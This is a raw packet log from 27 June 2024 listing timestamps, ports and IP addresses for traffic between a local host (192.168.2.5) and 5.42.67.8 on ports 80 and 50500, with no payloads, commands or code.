Jun 27, 2024 06:44:21.849212885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.849241972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.849275112 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.849280119 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.849297047 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.849334002 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:22.656531096 CEST	49723	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:22.661549091 CEST	50500	49723	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:22.663559914 CEST	49723	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:22.673041105 CEST	49723	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:22.677861929 CEST	50500	49723	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:22.792956114 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:22.793227911 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:22.797811985 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:22.797972918 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:22.980515957 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:22.980601072 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:22.981059074 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:22.985857010 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168663025 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168687105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168701887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168715954 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168730021 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168744087 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168757915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168771982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168775082 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.168786049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168833017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.168833017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.168848991 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168863058 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168875933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168889999 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168904066 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168921947 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.168921947 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.168941975 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.168961048 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168975115 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.168989897 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.169011116 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.169056892 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.169467926 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.169513941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.169528008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.169595957 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.169598103 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.169610023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.169624090 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.169636965 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.169652939 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.169652939 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.169682026 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.169682026 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.170629978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170651913 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170665979 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170680046 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170687914 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.170687914 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.170692921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170706987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170717001 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.170721054 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170717001 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.170734882 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170741081 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.170749903 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170763016 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170764923 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.170777082 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170805931 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170809031 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.170820951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170834064 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170846939 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170860052 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170871973 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.170872927 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.170872927 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.170876026 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170891047 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170905113 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170927048 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170936108 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.170936108 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.170936108 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.170941114 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170954943 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170969009 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170984030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.170985937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.170985937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.170998096 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171011925 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171015024 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171025991 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171040058 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171051979 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171053886 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171068907 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171073914 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171073914 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171083927 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171102047 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171135902 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171287060 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171490908 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171505928 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171519995 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171535969 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171550035 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171552896 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171562910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171575069 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171577930 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171591997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171605110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171622038 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171633005 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171633005 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171633005 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171644926 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171658993 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171664953 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171673059 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171686888 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171700954 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171715021 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171722889 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171722889 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171722889 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171730042 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171744108 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171750069 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171756983 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171760082 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171780109 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171792984 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171801090 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171801090 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171808004 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171811104 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171822071 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171837091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171849966 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171854973 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171864986 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171879053 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171886921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171886921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171892881 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171906948 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171921968 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171935081 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171941042 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171941042 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171941042 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171948910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171962976 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171977043 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.171982050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.171982050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.172013044 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.173638105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.173686981 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.173702002 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.173724890 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.173738003 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.173758030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.173774004 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.173788071 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.173803091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.173831940 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.173841000 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.173863888 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.173891068 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.174007893 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.174021959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.174036026 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.174051046 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.174065113 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.174068928 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.174078941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.174093962 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.174098969 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.174098969 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.174108028 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.174122095 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.174134970 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.174154997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.174156904 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.174156904 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.174156904 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.174168110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.174180984 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.174195051 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.174209118 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.174221992 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.174221992 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.174221992 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.174252987 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.174297094 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.216804981 CEST	50500	49723	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.255672932 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.255702972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.255717993 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.255733013 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.255748987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.255763054 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.255769968 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.255779982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.255795956 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.255812883 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.255836964 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.255837917 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.255852938 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.255866051 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.255878925 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.255892992 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.255908012 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.255919933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.255924940 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.255924940 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.255969048 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.255969048 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256077051 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256092072 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256107092 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256114006 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256129980 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256134033 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256141901 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256144047 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256159067 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256174088 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256174088 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256176949 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256211996 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256211996 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256393909 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256407976 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256422997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256520033 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256534100 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256547928 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256562948 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256619930 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256619930 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256619930 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256620884 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256620884 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256694078 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256707907 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256721973 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256736994 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256751060 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256763935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256778002 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256791115 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256798029 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256798983 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256805897 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256829977 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256829977 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256835938 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256850004 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256855011 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256875038 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256896019 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256911039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256922007 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256926060 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256939888 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256948948 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256948948 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.256954908 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256968021 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.256983995 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257000923 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257046938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257168055 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257184982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257198095 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257213116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257219076 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257219076 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257226944 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257235050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257241964 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257256985 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257273912 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257281065 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257281065 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257318974 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257333040 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257345915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257355928 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257355928 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257368088 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257381916 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257386923 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257396936 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257410049 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257411003 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257426023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257456064 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257456064 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257456064 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257467985 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257508039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257567883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257582903 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257596970 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257621050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257621050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257654905 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257654905 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257669926 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257683992 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257698059 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257711887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257729053 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257733107 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257746935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.257752895 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257776976 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257847071 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.257857084 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258024931 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258039951 CEST	80	49719	5.42.67.8	192.168.2.5
